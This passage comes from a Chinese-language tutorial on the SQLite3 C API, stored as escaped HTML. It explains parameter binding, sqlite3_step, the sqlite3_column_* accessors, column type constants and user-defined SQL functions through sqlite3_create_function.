class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_value\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以上是 sqlite3_bind 所包含的全部接口,它们是用来给SQL声明中的通配符赋值的. 没有绑定的通配符则被认为是空值.绑定上的值不会被sqlite3_reset()函数重置. 但是在调用了sqlite3_reset()之后所有的通配符都可以被重新赋值.\u003c/p\u003e\u003cp\u003e在SQL声明准备好之后(其中绑定的步骤是可选的), 需要调用以下的方法来执行:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果SQL返回了一个单行结果集,sqlite3_step() 函数将返回 SQLITE_ROW , 如果SQL语句执行成功或者正常将返回SQLITE_DONE , 否则将返回错误代码. 如果不能打开数据库文件则会返回 SQLITE_BUSY . 如果函数的返回值是SQLITE_ROW, 那么下边的这些方法可以用来获得记录集行中的数据:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_count\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_decltype\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt *, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_decltype16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt *, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_name\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_name16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e iCol)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_column_count()函数返回结果集中包含的列数. sqlite3_column_count() 可以在执行了 sqlite3_prepare()之后的任何时刻调用. sqlite3_data_count()除了必需要在sqlite3_step()之后调用之外,其他跟sqlite3_column_count() 大同小异. 如果调用sqlite3_step() 返回值是 SQLITE_DONE 或者一个错误代码, 则此时调用sqlite3_data_count() 将返回 0 ,然而sqlite3_column_count() 仍然会返回结果集中包含的列数.\u003c/p\u003e\u003cp\u003e返回的记录集通过使用其它的几个 sqlite3_column_***() 函数来提取, 所有的这些函数都把列的编号作为第二个参数. 列编号从左到右以零起始. 请注意它和之前那些从1起始的参数的不同.\u003c/p\u003e\u003cp\u003esqlite3_column_type()函数返回第N列的值的数据类型. 具体的返回值如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTEGER  1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_FLOAT    2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_TEXT     3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_BLOB     4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NULL     5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_column_decltype() 则用来返回该列在 CREATE TABLE 语句中声明的类型. 它可以用在当返回类型是空字符串的时候. sqlite3_column_name() 返回第N列的字段名. sqlite3_column_bytes() 用来返回 UTF-8 编码的BLOBs列的字节数或者TEXT字符串的字节数. sqlite3_column_bytes16() 对于BLOBs列返回同样的结果,但是对于TEXT字符串则按 UTF-16 的编码来计算字节数. sqlite3_column_blob() 返回 BLOB 数据. sqlite3_column_text() 返回 UTF-8 编码的 TEXT 数据. sqlite3_column_text16() 返回 UTF-16 编码的 TEXT 数据. sqlite3_column_int() 以本地主机的整数格式返回一个整数值. sqlite3_column_int64() 返回一个64位的整数. 最后, sqlite3_column_double() 返回浮点数.\u003c/p\u003e\u003cp\u003e不一定非要按照sqlite3_column_type()接口返回的数据类型来获取数据. 数据类型不同时软件将自动转换.\u003c/p\u003e\u003cp\u003e(3)用户自定义函数\u003c/p\u003e\u003cp\u003e可以使用以下的方法来创建用户自定义的SQL函数:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_value\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_create_function\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     sqlite3 *,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *zFunctionName,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e nArg,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFunc)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xStep)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFinal)(sqlite3_context*)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e   )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_create_function16\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     sqlite3*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *zFunctionName,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e nArg,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFunc)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xStep)(sqlite3_context*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,sqlite3_value**),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*xFinal)(sqlite3_context*)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e   )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF8     1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16    2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16BE  3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_UTF16LE  4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ANY      5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003enArg 参数用来表明自定义函数的参数个数. 如果参数值为0,则表示接受任意个数的参数. 用 eTextRep 参数来表明传入参数的编码形式. 参数值可以是上面的五种预定义值. SQLite3 允许同一个自定义函数有多种不同的编码参数的版本. 数据库引擎会自动选择转换参数编码个数最少的版本使用.\u003c/p\u003e\u003cp\u003e普通的函数只需要设置 xFunc 参数,而把 xStep 和 xFinal 设为NULL. 聚合函数则需要设置 xStep 和 